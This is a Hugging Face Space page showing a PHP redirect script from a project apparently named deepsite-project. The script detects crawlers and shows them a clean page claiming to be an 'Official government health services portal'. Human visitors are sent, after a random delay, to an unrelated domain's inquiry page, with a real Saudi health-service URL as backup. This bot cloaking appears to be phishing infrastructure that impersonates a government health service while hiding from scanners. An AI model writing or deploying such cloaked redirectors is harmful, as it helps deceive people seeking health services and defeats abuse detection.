CoolFace
Apppublic

ffbb2025/deepsite-project

sourceHugging Faceupdated 1y agoView on Hugging Face
0likes
redirect.php87 linesDownload Raw Back to root
1```php2<?php3// --- Set up links manually ---4$landing = "https://slen.gt.tc/slenquiry.php";  // Main landing page5$backup = "https://seha.sa/ui#/inquiries/slenquiry";    // Backup URL6 7// --- Alert email configuration ---8$alertEmail = "ffbb775177515@gmail.com";9 10// --- Detect bot requests ---11function isBotRequest() {12    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');13    return (strpos($ua, 'google') !== false || 14            strpos($ua, 'bot') !== false || 15            strpos($ua, 'crawler') !== false ||16            strpos($ua, 'facebookexternalhit') !== false ||17            strpos($ua, 'twitterbot') !== false);18}19 20// --- Check if domain is working ---21function isDomainDown($url) {22    $ch = curl_init();23    curl_setopt($ch, CURLOPT_URL, $url);24    curl_setopt($ch, CURLOPT_NOBODY, true);25    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);26    curl_setopt($ch, CURLOPT_TIMEOUT, 5);27    curl_exec($ch);28    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);29    curl_close($ch);30    return ($httpCode >= 400 || $httpCode === 0);31}32 33// --- For bots: show clean page ---34if (isBotRequest()) {35    header("HTTP/1.1 200 OK");36    echo '<!DOCTYPE html>37    <html lang="en">38    <head>39        <meta charset="UTF-8">40        <meta name="viewport" content="width=device-width, initial-scale=1.0">41        <meta name="robots" content="noindex, nofollow">42        <title>Information Portal</title>43        <style>body{font-family:Arial,sans-serif;background:#f5f5f5;margin:0;padding:0;display:flex;justify-content:center;align-items:center;height:100vh}</style>44    </head>45    <body>46        <div style="text-align:center;padding:20px;background:#fff;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,0.1)">47            <h1>Information Portal</h1>48            <p>Official government health services portal</p>49        </div>50    </body>51    </html>';52    exit;53}54 55// --- Determine target URL ---56$target = $landing;57if (isDomainDown($landing)) {58    $target = $backup;59    // Send email alert60    $subject = "⚠️ Redirect System Alert - Backup Activated";61    $message = "System automatically switched from primary URL:\n{$landing}\nTo backup URL:\n{$backup}\nTime: " . date("Y-m-d H:i:s");62    @mail($alertEmail, $subject, $message);63}64 65// --- Random delay between 1-3 seconds before redirect ---66$delay = rand(1, 3);67header("Refresh:{$delay}; URL={$target}");68?>69 70<!DOCTYPE html>71<html lang="en">72<head>73    <meta charset="UTF-8">74    <meta name="viewport" content="width=device-width, initial-scale=1.0">75    <title>Loading...</title>76</head>77<body style="margin:0;padding:0;background:#f5f5f5;">78    <div style="text-align:center;padding-top:100px;font-family:Arial,sans-serif;">79        <h1>Loading Information Portal</h1>80        <p>Please wait while we connect you to the service...</p>81    </div>82    <noscript>83        <meta http-equiv="refresh" content="<?= $delay ?>;url=<?= $target ?>">84    </noscript>85</body>86</html>87```